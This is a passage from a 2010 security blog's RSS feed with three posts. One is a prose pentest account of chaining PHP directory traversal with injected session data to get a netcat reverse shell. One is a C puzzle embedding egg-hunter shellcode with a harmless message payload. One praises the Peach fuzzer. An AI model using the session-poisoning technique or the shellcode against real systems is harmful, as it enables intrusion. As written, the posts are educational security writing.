&lt;p&gt;&lt;br /&gt;&lt;/p&gt; 
    </content:encoded>

    <pubDate>Fri, 26 Mar 2010 15:07:02 +0000</pubDate>
    <guid isPermaLink="false">http://0xdeadbeef.us/archive/4</guid>
    
</item>
<item>
    <title>Interesting experience.</title>
    <link>http://0xdeadbeef.us/archive/Interesting-experience.</link>
            <category>Pentest</category>
    
    <comments>http://0xdeadbeef.us/archive/Interesting-experience.#comments</comments>
    <wfw:comment>http://0xdeadbeef.us/wfwcomment.php?cid=3</wfw:comment>

    <slash:comments>1</slash:comments>
    <wfw:commentRss>http://0xdeadbeef.us/rss.php?version=2.0&amp;type=comments&amp;cid=3</wfw:commentRss>
    

    <author>nospam@example.com (morgothan)</author>
    <content:encoded>
    In a pentest recently I was faced with an interesting problem, and I figured it may make for an interesting read.&amp;#160; The company had only one public facing website, written in PHP and hosted on a hardened debian box.&amp;#160; All scans and automated tools reported back nothing obviously exploitable. However there was a simple directory traversal bug in the websites php code.&amp;#160; Using this bug I managed to gain shell access on the machine, and eventually root.&amp;#160; The method in which I gained shell access was by far the most interesting approach I have had to come up with in a while.&amp;#160; Recall that any php code in a file that is called by php will be executed.&amp;#160; With this in mind I set forth in finding a place where I could dump php code into the system, and eventually browse to it using the directory traversal bug. All comments and other supplied inputs went directly into the database so I could not write to a file that way.&amp;#160; However, what I notice was that the language value was being stored in my php session.&amp;#160; Furthermore this session variable was not being properly filtered.&amp;#160; So using webscarab I modified my language to a simple set of php instructions that would d/l and run netcat for me.&amp;#160; I then used the directory traversal bug to view &amp;quot;/var/lib/php/sessions/&amp;lt;session_ID&amp;gt;&amp;quot;&amp;#160; and execute the stored php code.&amp;#160; From there I had a reverse shell on the machine and the rest was easy.&lt;br /&gt; 
    </content:encoded>

    <pubDate>Fri, 19 Mar 2010 15:05:38 +0000</pubDate>
    <guid isPermaLink="false">http://0xdeadbeef.us/archive/3</guid>
    
</item>
<item>
    <title>Figure this one out</title>
    <link>http://0xdeadbeef.us/archive/Figure-this-one-out</link>
            <category>Code</category>
    
    <comments>http://0xdeadbeef.us/archive/Figure-this-one-out#comments</comments>
    <wfw:comment>http://0xdeadbeef.us/wfwcomment.php?cid=2</wfw:comment>

    <slash:comments>1</slash:comments>
    <wfw:commentRss>http://0xdeadbeef.us/rss.php?version=2.0&amp;type=comments&amp;cid=2</wfw:commentRss>
    

    <author>nospam@example.com (morgothan)</author>
    <content:encoded>
    &lt;p&gt;Wrote this the other day while trying to figure out exactly how something works.&amp;#160; Worth looking at.&amp;#160; A case of beer to anyone who figures it out. &amp;#160; &lt;br /&gt;&lt;/p&gt; &lt;br /&gt;
&lt;pre&gt;&lt;textarea name=&quot;code&quot; class=&quot;cpp&quot;&gt;static inline __attribute__((always_inline)) void go(){
    __asm__ __volatile__ (                  
           &quot;cld;&quot;
       &quot;loop_inc_page:&quot;
           &quot;or %%cx,0x0fff;&quot;
       &quot;loop_inc_once:&quot;
           &quot;inc %%ecx;&quot;
       &quot;loop_check:&quot;
           &quot;push +0x43;&quot;
           &quot;pop %%eax;&quot;
           &quot;int 0x80;&quot;
           &quot;cmp %%al,0xf2;&quot;
           &quot;jz loop_inc_page;&quot;
           &quot;mov %%eax,0xefbeadde;&quot;
           &quot;mov %%edi,%%ecx;&quot;
           &quot;scasd;&quot;
           &quot;jnz loop_inc_once;&quot;
           &quot;scasd;&quot;
           &quot;jnz loop_inc_once;&quot;
           &quot;jmp %%edi;&quot;
           :::&quot;%eax&quot;, &quot;%ecx&quot;, &quot;%edi&quot;
           );
}


int main(){
    char IgnoreMe[]=&quot;\xde\xad\xbe\xef\xde\xad\xbe\xef&quot;
                    &quot;\xeb\x13\x59\x31\xc0\xb0\x04\x31&quot;
                    &quot;\xdb\x43\x31\xd2\xb2\x37\xcd\x80&quot;
                    &quot;\xb0\x01\x4b\xcd\x80\xe8\xe8\xff&quot;
                    &quot;\xff\xff\x54\x65\x6c\x6c\x20\x4e&quot;
                    &quot;\x61\x74\x20\x48\x6f\x77\x20\x61&quot;
                    &quot;\x6e\x64\x20\x57\x68\x79\x20\x54&quot;
                    &quot;\x68\x69\x73\x20\x48\x61\x70\x70&quot;
                    &quot;\x65\x6e\x65\x64\x20\x66\x6f\x72&quot;
                    &quot;\x20\x79\x6f\x75\x72\x20\x46\x52&quot;
                    &quot;\x45\x45\x20\x42\x45\x45\x52\x21&quot;
                    &quot;\x0a\x0d&quot;;
    go();
    return -1;
}&quot; &lt;/textarea&gt;&lt;/pre&gt; 
    </content:encoded>

    <pubDate>Wed, 17 Mar 2010 19:56:18 +0000</pubDate>
    <guid isPermaLink="false">http://0xdeadbeef.us/archive/2</guid>
    
</item>
<item>
    <title>Playing with Peach</title>
    <link>http://0xdeadbeef.us/archive/Playing-with-Peach</link>
            <category>Fuzzers</category>
    
    <comments>http://0xdeadbeef.us/archive/Playing-with-Peach#comments</comments>
    <wfw:comment>http://0xdeadbeef.us/wfwcomment.php?cid=1</wfw:comment>

    <slash:comments>0</slash:comments>
    <wfw:commentRss>http://0xdeadbeef.us/rss.php?version=2.0&amp;type=comments&amp;cid=1</wfw:commentRss>
    

    <author>nospam@example.com (morgothan)</author>
    <content:encoded>
    Last week I participated in a training class provided by Michael Eddington the creator of Peach Fuzzer.&amp;#160; I must say it was very impressive.&amp;#160; I highly recommend people look into using peach for all there fuzzing needs. 
    </content:encoded>

    <pubDate>Mon, 15 Mar 2010 12:19:25 +0000</pubDate>
    <guid isPermaLink="false">http://0xdeadbeef.us/archive/1</guid>
    
</item>

</channel>
</rss>